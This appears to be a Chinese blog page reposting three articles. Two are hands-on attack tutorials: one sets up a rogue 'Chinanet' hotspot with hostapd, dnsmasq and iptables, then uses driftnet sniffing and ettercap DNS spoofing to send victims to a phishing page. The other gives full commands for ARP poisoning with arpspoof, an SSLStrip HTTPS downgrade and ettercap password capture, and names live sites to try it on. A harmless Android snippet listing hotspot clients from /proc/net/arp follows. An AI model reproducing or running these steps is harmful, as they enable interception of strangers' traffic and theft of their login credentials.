kali搭建钓鱼WiFi

kali搭建钓鱼WiFi

本文转自逍遥子 并作补充

如何在kali下快速搭建钓鱼WiFi呢?全网最简单最详细的教程核能来袭。一起来看看吧。

准备

  • USB无线网卡(推荐8187 3070)
  • hostapd dnsmasq apache2
  • kali2020(最新版)

配置无线网卡

在终端执行 ifconfig查看是否有 wlan0如果存在,我们需要激活为监听模式。执行命令:

1
airmon-ng start wlan0

image

配置hostapd

1
vim hostapd.conf

写入下面内容

1
2
3
4
5
6
7
interface=wlan0mon
driver=nl80211
ssid=Chinanet #无线名称 随意即可
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0

image

配置dnsmasq文件

终端执行

1
vim dnsmasq.conf

写入内容如下:

1
2
3
4
5
6
7
8
interface=wlan0mon
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.1.1
dhcp-option=6, 192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

image

配置防火墙和端口转发

1
2
3
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0mon -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

image

这样做的目的是保证我们的鱼儿能够正常上网。

给无线网卡分配IP地址

1
2
ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

启动钓鱼热点

1
hostapd hostapd.conf

image

这样我们便可以看到有一个 china-net的热点,但是不能连接,不要着急,我们启动dnsmasq即可。

1
dnsmasq -C dnsmasq.conf -d

这样,我们的热点便可以正常连接并上网了。

image

左边为连接的设备,右边有设备访问的网站信息。

高级操作

嗅探目标图片

在终端执行

1
driftnet -i wlan0mon

便可以看到目标访问的站点图片信息。

image

中间人攻击

域名重定向

修改 /etc/ettercap/etter.dns文件,添加内容如下:

1
2
3
baidu.com      A   192.168.1.1
*.baidu.com A 192.168.1.1
www.baidu.com PTR 192.168.1.1

即,当我们访问百度,自动跳转到本地。
开启本地 apache

1
service apache2 start

将做好的钓鱼页面放到 /var/www/html目录下,然后终端执行 ettercap -G利用 ettercap进行DNS劫持,具体做法这里不再诉述。

image

当然,你也可以对目标进行数据包的捕获和分析,我们这里也不再说了。

填个坑

有不少人搭建完成后,反应上不了网,是因为dns冲突了。如你家的路由器的网段是192.168.1.1/24而在dns的配置文件中dhcp-option=3, 192.168.1.1这样会冲突,解决办法很简单,把192.168.1.1改成其他网段就行了,如192.168.5.1,但是后面的规则也要改。最简单的方法就是登陆路由器,将lan口地址192.168.1.1改掉就行了!

如何进行一次完整的 SSLStrip 攻击

如何进行一次完整的 SSLStrip 攻击

本文转自Glsakura 并作补充

简介

本文将介绍在局域网内,如何监听受害者流量并通过SSLstrip攻击获取敏感信息,分为如下两步:

  1. 中间人攻击,监听受害者流量
  2. SSLStrip攻击,获取敏感信息

实验环境

IP地址 MAC地址
win10 192.168.40.1 00:50:56:C0:00:08
网关 192.168.40.2 00:50:56:E7:9F:31
kali 192.168.40.128 00:0c:29:d8:d4:05
win7 192.168.40.130 00:0C:29:C9:34:A6
centos7 192.168.40.132 00:0c:29:bd:ef:65

kali:kali-linux-2020.1b-live-amd64.iso

win7:win7

纯净虚拟机系统,使用VMware或者VirtualBox导入镜像即可。
采用Win7SP1镜像制作,极限精简,无多余组件,非常纯净,使用流畅,系统已激活。

中间人攻击

中间人攻击(man-in-the-Middle Attack, MITM),就是攻击者扮演中间人进行攻击,可以劫持一段会话,窃取凭证和其他机密信息。简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。

ARP (地址解析协议)

ARP 协议负责通过 IP 地址找到 MAC 地址(物理地址 ),在以太网中,是利用 MAC 地址来通讯的。

ARP协议是这样工作的:如win10需要给win7(IP为192.168.40.130)发送数据,为了知道谁是win7,首先win10发送一个广播包给网内所有机器“谁是192.168.40.130”,正常情况其他机器忽略该消息,仅win7回复“我是192.168.40.130”,于是通信就可以开始。所有的主机维护他们自己的ARP缓存表,所以不会每一次都发送广播,ARP表中包含IP对应的MAC地址。

如何进行ARP欺骗?

例如kali需要对win7进行arp欺骗,那他就不再忽略win10发送的消息,他也会大量的发送数据包回复“啊啊啊!我才是192.168.40.130”,然后win10就会错误地建立或者更新了自己ARP表。然后win10发送数据时都发到kali那去了。

攻击准备

mac 下准备

  1. 安装 macports 官网
  2. 更新 macports sudo port -d selfupdate
  3. 安装 dsniff(包含 arp 攻击的工具)sudo port install dsniff
  4. 安装 nmap brew install nmap (如果没有安装 Homebrew,可以去 Homebrew 官网

linux 下准备

  1. 安装 dsniff apt-get install -y dsniff
  2. 安装 nmap apt-get install -y nmap

攻击步骤

寻找目标

使用nmap命令扫描局域网,获得主机列表
如果所在局域网路由器地址是 192.168.40.1,可以使用 nmap -sP 192.168.40.1/24 扫描

-sP 表示使用 ping 方式扫描,192.168.40.1/24”表示扫描”192.168.40.1-192.168.40.254”这个网段的所有机器。

开启 IP 转发

ARP欺骗一般目的是把自己伪装成网关,但如果不作处理,当被欺骗数据包到达后就会被本机丢弃(因为本机不是网关,不知道如何处理这类数据包),这会导致没有数据包返回给被欺骗主机,导致断网。这当然是不允许的。开启IP转发功能可以解决该问题。IP转发负责把该类数据包再转发给真正的网关处理,开启IP转发的方法。

mac 下:

1
sysctl -w net.inet.ip.forwarding=1

linux 下:

1
echo 1 >/proc/sys/net/ipv4/ip_forward

ARP 欺骗

假设被攻击的 IP 是 192.168.40.130,局域网的网关是 192.168.40.2,攻击电脑使用的网卡接口是 eth0(可以使用 ifconfig 命令查看), 则欺骗命令如下:

1
2
arpspoof -i eth0 -t 192.168.40.130 192.168.40.2
#arpspoof是dsniff的一个组件,主要用于进行arp欺骗使用

成功的的话在被攻击主机上arp表如图所示

image

分析数据

如果 ARP 欺骗成功,则被攻击的设备会把所有数据先传到我们电脑上,接下来可以使用 ettercap 软件来分析数据。

使用driftnet获取图片

安装driftnetapt-get install driftnet

开始获取driftnet -i eth0

找一个http的网站进行测试

1
inurl:“http” -https

例子:http://www.kan-tv.com/

Tips:https因为进行了加密不能直接获取,进行SSLStrip攻击后就可获取了

SSLStrip 攻击

2009年的黑帽大会上,一个名叫Moxie Marlinspike的研究人员,发布了一个叫sslstrip的工具。通过该工具,可以实现对ssl进行中间人攻击。

SSLstrip 也叫 https 降级攻击,攻击者拦截用户流量后,欺骗用户与攻击者进行 http 通信,攻击者与服务器保持正常通信 (http 或 https),从而获取用户信息。

攻击原理

攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽,将所有的HTTPS连接都用HTTP来代替。同时,与目标服务器建立正常的HTTPS连接。由于HTTP通信是没有经过加密传输的,并没有HTTPS安全,所以攻击者能轻松实施嗅探。

  1. 通过中间人攻击监听 http 流量
  2. 更改重定向链接中的 location,替换 https 为 http,并记录
  3. 更改响应内容中的超链接,替换 https 为 http,并记录
  4. 与用户进行 http 通信,与服务器进行 https 通信(记录中本应是 https 的请求),从而明文获取用户信息

Tips:

当用户浏览的网页中包含https协议,会被转化为http协议的请求

但是sslstrip也不是万能的, 假如网页中没有https, 但是js代码绑定了跳转到https的协议请求的事件,那么sslstrip就失效了

攻击准备

  1. 监听 http 流量

  2. 获取 sslstrip工具

    Requirements

    1
    2
    Python >= 2.5 (apt-get install python)
    The python "twisted-web" module (apt-get install python-twisted-web)
    1
    2
    3
    apt-get -y install python python-twisted-web
    git clone https://github.com/moxie0/sslstrip.git
    cd sslstrip && python ./setup.py install

攻击步骤

开启内核转发功能保证攻击过程中被攻击者不断网

临时ip转发

1
echo 1 > /proc/sys/net/ipv4/ip_forward

永久ip转发

1
2
3
vim /etc/sysctl.conf
net.ipv4.ip_forward = 1 //修改值
sysctl -p /etc/sysctl.conf //使修改生效

把流量导入到 sslstrip 程序

设置iptables以将HTTP通信重定向到sslstrip。
输入命令: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
其中最后面的端口号(比如上面的 10000)就是 sslstrip 程序监听的端口号

如果攻击完成后要删除这条记录可以输入命令 iptables -t nat -D PREROUTING 1

查看 ip 转发表: iptables -t nat -L

运行arpspoof以说服网络他们应该将流量发送给你

1
arpspoof -i eth0 -t 192.168.40.130 192.168.40.2

启动sslstrip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sslstrip -l 10000

-w <文件名>,–write = <文件名>指定要登录的文件(可选)。
-p,–post仅记录SSL POST。(默认)
-s,–ssl记录往返服务器的所有SSL流量。
-a,–all记录往返服务器的所有SSL和HTTP通信。
-l <端口>,–listen = <端口>用于侦听的端口(默认为10000)。
-f,–favicon根据安全请求替换锁图标。
-k,–killsessions终止正在进行的会话。
-h 打印此帮助消息。

查看端口占用lsof -i tcp:10000

sslstrip -a -k -f -l 10000

image

可以看到,网页上没有任何不安全的警告或是提示,只是原先的HTTPS连接已经被HTTP连接所替换,并且为增加迷惑性,网页的图标被修改成了一个银色的锁图案。但是,假的毕竟是假的,一方面无法查看到任何证书的信息,另外如果在网址前输入https://,则网页无法发开。因此,sslstrip并不是万能的攻击方法。

使用ettercap对目标主机进行arp攻击,并且开始嗅探密码

终端界面嗅探密码ettercap -Tq -i eth0

1
2
3
4
-P  使用插件
-T 使用基于文本界面
-q 启动安静模式(不回显)
-M 启动ARP欺骗攻击

我们使用ettercap的GTK+ GUI图像界面ettercap -G

image

选择Sniff—-Unified-sniffing,然后选择网卡:eth0(我这里是eth0,大家根据情况选择)。

image

然后Hosts——Scan for hosts——Hosts list

我们的目标主机ip(192.168.40.130)选定目标主机,然后点add to target 1,将目标主机添加到目标;选定路由,点add to target 2,将路由添加到目标2

添加成功后,点击Mitm——ARP posoning ,勾选sniff remote connections。

之后start——start sniffing开始监听。

点击view——connections查看被攻击机访问的IP,端口,协议,发送和接收的数据包大小。

点击view——profiles查看被攻击机访问的链接。在下方可以查看更清晰的链接访问情况。

当然你也可以通过双击链接来查看profiles details,即访问网站的具体情况。

在这里,如果被攻击机输入密码登陆某一网站,我们可以检测到登陆的用户名及其密码。

这是刚刚检测到的一个用户名和登陆密码。这个网站完全没有对密码进行加密操作,出来的结果也是明文显示的。

image

这是另外一个站检测出来的,对密码进行了加密。

image

Tips:其实一个网站如果使用的都是https协议,那么安全性一般做的比较好,数据进行了加密的,也就是说你即使已经把https降低为http,即使捕获到了密码,你也不可能轻易解密的出来。

测试网址

1
2
3
4
5
6
http://www.freemojo.com
//http密码明文未加密
http://bbs.ylnet.com.cn/forum.php
//http密码加密了
http://www.discuz.net/forum.php
//https密码未加密

DNS欺骗

1
leafpad /etc/ettercap/etter.dns

在微软处添加:

`www.baidu.com A 192.168.40.132

image

ettercap -G(进入图形界面)

重复之前的步骤ARP欺骗的步骤,在start sniffing之前添加一个插件

image

双击启动dns_spoof

image

开始嗅探后,我们在目标机中ping一下百度

image

欺骗成功,如果将192.168.40.132改为钓鱼页面,就可以欺骗到用户账号密码

image

最后提醒大家,连接公共wifi时一定要小心!

参考资料

如何进行一次完整的 SSLStrip

ARP欺骗之ettercap图形化界面

APR攻击(Arpspoof)

linux ip 转发设置 ip_forward、ip_forward与路由转发

HTTP&HTTPS账号密码获取与ettercap局域网内DNS欺骗

使用ssltrip突破ssl加密截获密码

sslstrip

利用sslstrip和ettercap突破ssl嗅探密码

针对SSL的中间人攻击演示和防范

sslstrip Package Description

Android 开启个人热点时 获取连接人数以及连接上的设备信息

Android 开启个人热点时 获取连接人数以及连接上的设备信息

本文转自多看一二 并作补充

起因

最近在开发过程当中,遇到一个需求 ,开启个人热点后需要知道有多少人连上了这个热点 以及这些设备的信息

经过一段时间的摸索和反复的查阅资料,有了下面的代码和解决办法:

首先 连接热点的所有信息都保存在proc/net/arp下面 用re文件管理器可以查看一下

会发现 里面有连接的设备的 ip mac地址 等等

好了 那么问题就简单了

直接贴代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
BufferedReader br = null;
ArrayList<ClientScanResult> result = null;

try {
result = new ArrayList<>();
br = new BufferedReader(new FileReader("/proc/net/arp"));//读取这个文件
String ss=br.toString();
String line;
while ((line = br.readLine()) != null) {
String[] splitted = line.split(" +");//将文件里面的字段分割开来
if (splitted.length >= 4) {
// Basic sanity check
String mac = splitted[3];// 文件中分别是IP address HW type Flags HW address mask Device

//然后我们拿取HW address 也就是手机的mac地址进行匹配 如果有 就证明是手机

if (mac.matches("..:..:..:..:..:..")) {
boolean isReachable = InetAddress.getByName(splitted[0]).isReachable(reachableTimeout);

if (!onlyReachables || isReachable) {

result.add(new ClientScanResult(splitted[0], splitted[3], splitted[5], isReachable));//最后如果能匹配 那就证明是连接了热点的手机 加到这个集合里 里面有所有需要的信息
}
}
}
}
} catch (Exception e) {
CandyLog.e(e.getMessage());
} finally {
try {
if (br != null) {
br.close();
}
} catch (IOException e) {
CandyLog.e(e.getMessage());
}
}

public class ClientScanResult {

private String IpAddr;
private String HWAddr;
private String Device;
private boolean isReachable;

public ClientScanResult(String ipAddr, String hWAddr, String device, boolean isReachable) {
super();
this.IpAddr = ipAddr;
this.HWAddr = hWAddr;
this.Device = device;
this.isReachable = isReachable;
}

public String getIpAddr() {
return IpAddr;
}

public void setIpAddr(String ipAddr) {
IpAddr = ipAddr;
}


public String getHWAddr() {
return HWAddr;
}

public void setHWAddr(String hWAddr) {
HWAddr = hWAddr;
}


public String getDevice() {
return Device;
}

public void setDevice(String device) {
Device = device;
}


public boolean isReachable() {
return isReachable;
}

public void setReachable(boolean isReachable) {
this.isReachable = isReachable;
}

}

好了 想要知道连接人数 只要得到集合的size就可以了 又解决一个问题

关键点在于 热点信息储存在proc/net/arp 里面 有兴趣的可以了解下proc目录 里面有很多很多信息